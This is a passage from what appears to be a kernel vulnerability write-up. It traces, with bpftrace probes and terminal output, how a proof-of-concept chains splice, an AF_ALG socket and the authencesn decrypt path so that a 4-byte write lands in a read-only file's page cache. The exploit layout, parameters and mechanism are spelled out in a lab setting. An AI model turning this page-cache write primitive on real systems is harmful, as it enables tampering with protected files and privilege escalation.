6 Hack in Motion

The PoC already proves the end result. This section is for watching the chain while it happens:

file page
    -> pipe buffer
    -> AF_ALG TX scatterlist
    -> chained decrypt request
    -> authencesn scratch write
    -> modified page-cache bytes

We will debug the C PoC built in Section 5.4. This time, compile it with debug symbols so GDB can track source lines, and drop the page cache before each run so target.bin starts from a clean state:

Bash
# Build the PoC with debug symbols.
# -g keeps source/line information for GDB.
# -O2 is kept so the binary stays close to the normal PoC build.
gcc -g -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c

# Clear page cache before testing.
# This helps ensure target.bin is reloaded cleanly instead of reusing
# stale cached state from an earlier run.
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

When everything's ready:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ ls
copyfail_poc.c
axura@pwnlab:~/lab/copy-fail$ gcc -g -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
axura@pwnlab:~/lab/copy-fail$ file copyfail_poc
copyfail_poc: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, i
nterpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5c1981a6cc356da8eb8cfc5c0635552f6ecd9
e7, for GNU/Linux 3.2.0, with debug_info, not stripped
axura@pwnlab:~/lab/copy-fail$ ./copyfail_poc
[+] target      : ./target.bin
[+] overwrite   : file offset 0x1234
[+] splice      : offset=0x1224 len=0x20 authsize=0x10
[+] write value : PWN!
[+] marker before @ 0x1234 = 4f 52 49 47 (ORIG)
[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))
[+] AEAD configured: authkey=32, enckey=16, authsize=0x10
[+] accepted operation socket: fd=4
[+] AAD queued: assoclen=8, AAD[4:8]=PWN!
[+] splice(file -> pipe): 0x20 bytes from file offset 0x1224
[+] splice(pipe -> AF_ALG): 0x20 bytes
recv failed as expected: Bad message
[+] marker after  @ 0x1234 = 50 57 4e 21 (PWN!)
[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 ./target.bin
[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
[+] then re-read        : xxd -g1 -s 0x1220 -l 0x40 ./target.bin
[+] success signal      : ORIG -> PWN! before drop_caches, then ORIG after drop_caches
axura@pwnlab:~/lab/copy-fail$ ls -li
total 60
1585040 -rwxrwxr-x 1 axura axura 34936 May 16 20:22 copyfail_poc
1587064 -rw-rw-r-- 1 axura axura  8595 May 16 20:08 copyfail_poc.c
1587070 -r--r--r-- 1 axura axura 12288 May 16 20:22 target.bin
axura@pwnlab:~/lab/copy-fail$ xxd -g1 -s 0x1220 -l 0x40 ./target.bin
00001220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00001230: 41 41 41 41 50 57 4e 21 41 41 41 41 41 41 41 41  AAAAPWN!AAAAAAAA
00001240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00001250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
axura@pwnlab:~/lab/copy-fail$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
axura@pwnlab:~/lab/copy-fail$ xxd -g1 -s 0x1220 -l 0x40 ./target.bin
00001220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00001230: 41 41 41 41 4f 52 49 47 41 41 41 41 41 41 41 41  AAAAORIGAAAAAAAA
00001240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00001250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

we dive into the debugging journey.

6.1 Instrumentation Setup

Use two terminals:

  • terminal A: run bpftrace probes;
  • terminal B: run ./copyfail_poc and xxd.

Before attaching probes, verify that the symbols exist on the running kernel:

Bash
sudo grep -wE \
  'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy' \
  /proc/kallsyms

The exact names we care about are:

If one of these symbols is missing, first check whether the corresponding module is loaded. For the PoC path, af_alg, algif_aead, and authencesn must be active:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ sudo grep -wE \
  'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authe
nc_esn_decrypt|scatterwalk_map_and_copy' \
  /proc/kallsyms

ffffffff9ddbdd80 T splice_folio_into_pipe
ffffffff9ddbdee0 T filemap_splice_read
ffffffff9e185870 T scatterwalk_map_and_copy
ffffffff9e257100 T extract_iter_to_sg
ffffffff9ebc57ec t splice_folio_into_pipe.cold
ffffffffc0a8e2c0 t crypto_authenc_esn_decrypt   [authencesn]
ffffffffc0a774e3 t af_alg_sendmsg.cold  [af_alg]
ffffffffc0a76520 t af_alg_sendmsg       [af_alg]

This confirms the key probe targets are present on the running kernel, so the following bpftrace steps can attach to the real exploit path instead of to fallback or missing code.

6.2 Page Cache Before And After

Before the trigger, the marker should be the disk value:

target.bin[0x1234:0x1238] = ORIG

Then run the PoC again and we observe the same behaviour as in 5.4.2, that the normal file read observes the corruption again:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ sudo ./copyfail_poc
[+] target      : ./target.bin
[+] overwrite   : file offset 0x1234
[+] splice      : offset=0x1224 len=0x20 authsize=0x10
[+] write value : PWN!
[+] marker before @ 0x1234 = 4f 52 49 47 (ORIG)
[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))
[+] AEAD configured: authkey=32, enckey=16, authsize=0x10
[+] accepted operation socket: fd=4
[+] AAD queued: assoclen=8, AAD[4:8]=PWN!
[+] splice(file -> pipe): 0x20 bytes from file offset 0x1224
[+] splice(pipe -> AF_ALG): 0x20 bytes
recv failed as expected: Bad message
[+] marker after  @ 0x1234 = 50 57 4e 21 (PWN!)
[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 ./target.bin
[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
[+] then re-read        : xxd -g1 -s 0x1220 -l 0x40 ./target.bin
[+] success signal      : ORIG -> PWN! before drop_caches, then ORIG after drop_caches
axura@pwnlab:~/lab/copy-fail$ xxd -g1 -s 0x1220 -l 0x40 ./target.bin
00001220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00001230: 41 41 41 41 50 57 4e 21 41 41 41 41 41 41 41 41  AAAAPWN!AAAAAAAA
00001240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00001250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

This confirms the userspace-visible side of the page-cache corruption. The next probe confirms how the file page entered the pipe and then AF_ALG.

6.3 Inpsect File → Pipe

The next probe verifies the first kernel handoff:

target file page cache


   pipe buffer

This is the splice(file -> pipe) stage. We want to confirm that the PoC's selected file range:

splice_file_offset = 0x1224
splice_len         = 0x20

is read from the target file's page-cache mapping and handed into the pipe as a cached folio, not copied into a private userspace buffer.

Run this in terminal A:

Bash
sudo bpftrace -e '
kprobe:filemap_splice_read /comm == "copyfail_poc"/
{
    $file = (struct file *)arg0;
    $mapping = $file->f_mapping;
    $inode = $mapping->host;
    $pos = *(uint64 *)arg1;

    printf("filemap_splice_read: ino=%lu pos=0x%llx len=0x%lx mapping=%p nrpages=%lu\n",
           $inode->i_ino, $pos, arg3, $mapping, $mapping->nrpages);
}

kprobe:splice_folio_into_pipe /comm == "copyfail_poc"/
{
    printf("splice_folio_into_pipe: pipe=%p folio=%p offset=0x%lx size=0x%lx\n",
           arg0, arg1, arg2, arg3);
}
'

The first probe targets filemap_splice_read(), whose signature is:

C
ssize_t filemap_splice_read(struct file *in, loff_t *ppos,
                            struct pipe_inode_info *pipe, size_t len,
                            unsigned int flags)

So the probe arguments are:

Probe valueKernel argumentMeaning
arg0struct file *ininput file being spliced
arg1loff_t *ppospointer to current file offset
arg2struct pipe_inode_info *pipedestination pipe
arg3size_t lenrequested splice length

Because arg1 is a pointer to loff_t, the probe dereferences it:

bpftrace
$pos = *(uint64 *)arg1;

The probe also walks the file-cache relationship directly:

bpftrace
$file    = (struct file *)arg0;
$mapping = $file->f_mapping;
$inode   = $mapping->host;

Those fields map to the file's page-cache objects:

  • in->f_mapping points from the opened file to its address-space mapping.
  • mapping->host points from that mapping back to the backing inode.
  • mapping->nrpages tracks pages currently present in that address space.

So when the probe prints:

ino=...
mapping=...
nrpages=...

it is showing the target file's page-cache mapping, not a random kernel address.

Then run the PoC in terminal B (sudo overwrites any left-over target.bin genreated earlier):

Bash
sudo ./copyfail_poc

Result:

Observed probe output:

filemap_splice_read: ino=1587070 pos=0x1224 len=0x20 mapping=0xffff9f06d4964ca0 nrpages=3
splice_folio_into_pipe: pipe=0xffff9f06ea4ce3c0 folio=0xffffe57688cb1900 offset=0x1224 size=0x20

The first line confirms the live file splice window:

inode = 1587070
pos   = 0x1224
len   = 0x20

That matches the PoC layout:

splice_file_offset = 0x1224
splice_len         = 0x20

The inode value comes from mapping->host, and the mapping value comes from in->f_mapping, so this line ties the splice operation back to the target file's page-cache address space.

Inside filemap_splice_read(), the selected cached folio is handed into the pipe through splice_folio_into_pipe():

C
n = splice_folio_into_pipe(pipe, folio, *ppos, n);

The second probe line confirms that handoff:

pipe   = 0xffff9f06ea4ce3c0
folio  = 0xffffe57688cb1900
offset = 0x1224
size   = 0x20

This is the important transition:

target file


file address_space mapping


cached folio


pipe buffer

So at this point, the target file bytes have not been copied into a private anonymous buffer. The pipe now carries a reference to the cached file folio selected by the splice window. This proves the first handoff in the exploit chain:

target.bin @ 0x1224, len 0x20


page-cache folio


pipe buffer reference

This keeps the probe focused on file → pipe only. The next probe should cover the next handoff: pipe → socket / AF_ALG TX scatterlist.

6.4 Inpsect Pipe → AF_ALG

The next handoff is:

pipe-backed file page


socket send path


AF_ALG TX scatterlist

In splice_to_socket(), pipe-backed pages are wrapped into a socket message. The important part is that the message is marked as page-backed before it is sent into the socket layer:

C
msg.msg_flags = MSG_SPLICE_PAGES;
...
ret = sock_sendmsg(sock, &msg);

For an accepted AEAD operation socket, that sock_sendmsg() call reaches af_alg_sendmsg(). Inside that function, the exploit-relevant path is selected by MSG_SPLICE_PAGES:

C
if (msg->msg_flags & MSG_SPLICE_PAGES) {
    plen = extract_iter_to_sg(&msg->msg_iter, len, &sgtable, ...);
    ...
}

This is the conversion point:

pipe-backed socket message


msg_iter marked MSG_SPLICE_PAGES


extract_iter_to_sg()


AF_ALG TX scatterlist

On this kernel, extract_iter_to_sg() is not directly traceable with kprobe. So instead, we probe the traceable AF_ALG entry point and inspect the incoming msghdr.

Run this in terminal A:

Bash
sudo bpftrace -e '
kprobe:af_alg_sendmsg /comm == "copyfail_poc"/
{
    $msg = (struct msghdr *)arg1;

    printf("af_alg_sendmsg: size=0x%lx msg_flags=0x%x\n",
           arg2, $msg->msg_flags);
}
'

Then run the PoC in terminal B:

Bash
sudo ./copyfail_poc

Result:

The probe records two calls into af_alg_sendmsg():

af_alg_sendmsg: size=0x8  msg_flags=0x8000
af_alg_sendmsg: size=0x20 msg_flags=0x8000000

They match the two inputs staged by the PoC:

CallSizeFlagMeaning
normal sendmsg()0x80x8000queues the 8-byte AAD: "AAAA" "PWN!"
splice(pipe -> AF_ALG)0x200x8000000queues the 32-byte file-backed splice window

The first line is the AAD fragment:

size=0x8
    AAD = "AAAA" || "PWN!"

The second line is the file-backed splice fragment:

size=0x20
    target.bin[0x1224:0x1244]
    = [0x10 ciphertext/filler][0x10 tag region]

The important flag is 0x8000000, which matches MSG_SPLICE_PAGES. That flag is set by splice_to_socket() before calling sock_sendmsg().

So the live path is:

splice(file -> pipe)


pipe buffer references file-backed page


splice(pipe -> AF_ALG socket)


splice_to_socket()


sock_sendmsg(... MSG_SPLICE_PAGES ...)


af_alg_sendmsg()


MSG_SPLICE_PAGES branch


extract_iter_to_sg()


AF_ALG TX scatterlist

So this probe confirms the second handoff: the file-backed data is no longer only sitting behind a pipe buffer. It has entered the AF_ALG send path as a page-backed MSG_SPLICE_PAGES payload, ready to be imported into the AEAD TX scatterlist.

6.5 Inspect Authencesn Scratch Write

The final runtime pivot happens inside the selected AEAD implementation. By this point, the inputs are already staged:

  • normal sendmsg(): AAD = "AAAA" || "PWN!"
  • splice(pipe -> AF_ALG): 0x20-byte file-backed TX window → [0x10 ciphertext][0x10 tag]

Now recv() submits the prepared AEAD request. The generic crypto layer dispatches into crypto_authenc_esn_decrypt(), where the interesting write is:

C
scatterwalk_map_and_copy(
    tmp + 1,              // source: AAD[4:8] 
    dst,                  // target scatterlist
    assoclen + cryptlen,  // logical destination offset
    4,                    // 4-byte write
    1                     // write flag: tmp+1 -> dst @ assoclen+cryptlen
);

For the lab layout:

assoclen             = 0x8
req->cryptlen        = 0x20    // ciphertext || tag
authsize             = 0x10
effective cryptlen   = 0x10    // after cryptlen -= authsize

scratch write offset = assoclen + effective cryptlen
                     = 0x8 + 0x10
                     = 0x18

write length         = 4
write value          = AAD[4:8] = "PWN!"

Attach this probe:

Bash
sudo bpftrace -e '
kprobe:crypto_authenc_esn_decrypt /comm == "copyfail_poc"/
{
    $req = (struct aead_request *)arg0;
    printf("authencesn_decrypt: assoclen=0x%x cryptlen=0x%x src=%p dst=%p expected_scratch_off=0x%x\n",
           $req->assoclen, $req->cryptlen, $req->src, $req->dst,
           $req->assoclen + $req->cryptlen - 0x10);
}

kprobe:scatterwalk_map_and_copy
/comm == "copyfail_poc" && arg2 == 0x18 && arg3 == 4 && arg4 == 1/
{
    printf("scratch_write: sg=%p off=0x%lx len=%lu out=%lu value_le=0x%x\n",
           arg1, arg2, arg3, arg4, *(uint32 *)arg0);
}
'

Result:

Observed:

authencesn_decrypt: assoclen=0x8 cryptlen=0x20 src=0xffff9f06ca980020 dst=0xffff9f06ca980020 expected_scratch_off=0x18
scratch_write: sg=0xffff9f06ca980020 off=0x18 len=4 out=1 value_le=0x214e5750

The first line confirms the request shape at the entry of crypto_authenc_esn_decrypt():

assoclen      = 0x8
req->cryptlen = 0x20
src == dst    = in-place request

At function entry, req->cryptlen still describes:

ciphertext || tag

So the probe computes the expected scratch-write offset by subtracting the configured tag size:

expected_scratch_off = assoclen + req->cryptlen - authsize
                     = 0x8 + 0x20 - 0x10
                     = 0x18

That matches the second probe line:

scratch_write: off=0x18 len=4 out=1

That boundary is the one used by the actual vulnerable operation:

C
scatterwalk_map_and_copy(
    void tmp[1],                    // 0xffff9f06ca980020+8 
    struct scatterlist *sg = dist,  // 0xffff9f06ca980020
    unsigned int start = 0x18,      // destination: dist + 0x18
    unsigned int nbytes = 4,        // write 4 bytes
    int out = 1);  // write from 0xffff9f06ca980020+0x8 to 0xffff9f06ca980020+0x18
);

At the end, 0x214e5750 was written to the destination, which is exactly the string "PWN!" interpreted as a little-endian uint32_t:

50 57 4e 21  ->  "PWN!"

This confirms the vulnerable operation itself: authencesn performs a destination-side 4-byte write at the boundary between the copied decrypt output and the chained tag tail. Because the tag tail came from the spliced file-backed pipe buffer, that write lands on the cached file page.

The final userspace check closes the loop:

Bash
xxd -g1 -s 0x1220 -l 0x40 ./target.bin
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
xxd -g1 -s 0x1220 -l 0x40 ./target.bin

Result as expected:

The final xxd output shows the same two-phase result established earlier by the PoC: before drop_caches, the normal file read observes PWN!; after drop_caches, rereading returns to ORIG. That closes the runtime chain from:

filemap_splice_read()af_alg_sendmsg()crypto_authenc_esn_decrypt()

That is a 4-byte write lands in page cache, while the on-disk file remains unchanged.